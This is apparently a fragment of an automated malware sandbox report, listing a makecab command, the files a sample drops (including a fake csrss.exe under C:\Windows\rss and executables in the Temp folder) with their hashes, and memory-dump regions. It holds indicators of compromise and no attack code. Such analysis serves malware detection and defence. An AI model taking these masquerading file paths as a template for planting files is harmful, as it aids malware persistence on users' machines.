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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220521011024.log C:\Windows\Logs\CBS\CbsPersist_20220521011024.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD584dbc916b21ee7dd49131e4bb996c3b0
SHA1cbff0b9a2ca635515722798efb84f53694300afa
SHA256be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f
SHA512d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD584dbc916b21ee7dd49131e4bb996c3b0
SHA1cbff0b9a2ca635515722798efb84f53694300afa
SHA256be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f
SHA512d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377
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\Windows\rss\csrss.exeFilesize
3.8MB
MD584dbc916b21ee7dd49131e4bb996c3b0
SHA1cbff0b9a2ca635515722798efb84f53694300afa
SHA256be127f00c805740a6a9e3eb8de6f3ba9ac68101de0f9dbcb41595b91c8d3a76f
SHA512d547238b6ddf466b1ab4945f951325e005ef7f9661bf28c9f3fa407eb4169520c16e613f02b646f8443fc383efe8e2e2775689a000540c29c444e355d60a8377
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memory/524-84-0x0000000000000000-mapping.dmp
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memory/1228-54-0x0000000003920000-0x0000000003CC7000-memory.dmpFilesize
3.7MB
-
memory/1228-57-0x0000000000400000-0x00000000036C2000-memory.dmpFilesize
50.8MB
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memory/1228-56-0x0000000003CD0000-0x00000000043C7000-memory.dmpFilesize
7.0MB
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memory/1228-55-0x0000000003920000-0x0000000003CC7000-memory.dmpFilesize
3.7MB
-
memory/1300-63-0x0000000000400000-0x00000000036C2000-memory.dmpFilesize
50.8MB
-
memory/1300-62-0x0000000003E10000-0x00000000041B7000-memory.dmpFilesize
3.7MB
-
memory/1300-58-0x0000000003E10000-0x00000000041B7000-memory.dmpFilesize
3.7MB
-
memory/1544-61-0x000007FEFB871000-0x000007FEFB873000-memory.dmpFilesize
8KB
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memory/1544-60-0x0000000000000000-mapping.dmp
-
memory/1596-70-0x0000000000400000-0x00000000036C2000-memory.dmpFilesize
50.8MB
-
memory/1596-69-0x0000000003950000-0x0000000003CF7000-memory.dmpFilesize
3.7MB
-
memory/1596-68-0x0000000003950000-0x0000000003CF7000-memory.dmpFilesize
3.7MB
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memory/1596-66-0x0000000000000000-mapping.dmp
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memory/1660-59-0x0000000000000000-mapping.dmp